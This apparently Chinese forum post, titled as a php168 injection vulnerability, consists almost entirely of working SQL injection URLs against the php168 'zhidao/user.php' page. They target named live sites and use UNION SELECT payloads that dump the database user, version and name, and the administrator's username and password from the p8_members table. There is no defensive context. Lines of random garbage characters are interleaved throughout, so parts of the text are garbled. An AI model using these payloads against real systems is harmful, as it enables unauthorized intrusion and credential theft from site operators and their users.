php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
) ~* q! d% Q8 U' p2 a" `                                                         
8 {3 S* D* m8 ]  H% Z                                       
3 y8 h+ u2 b" j( _
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
: i$ k$ [, C/ E5 b$ [! l) _                                                     
                                                                  
                                                        
; F2 i) a0 r$ t& |http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
' Z: j) p$ D( p3 `3 X  G% U( Y* Q
$ B" R) {) f2 @6 E, I  G' @3 C1 b

                                                            

) C6 [5 t1 F# ^3 vhttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--


2 ^$ A) x' G: l; p/ x- V
  h6 t, ]- h# t3 J1 V                                                                    
# A3 q4 p# n4 U5 P: R3 v4 E" m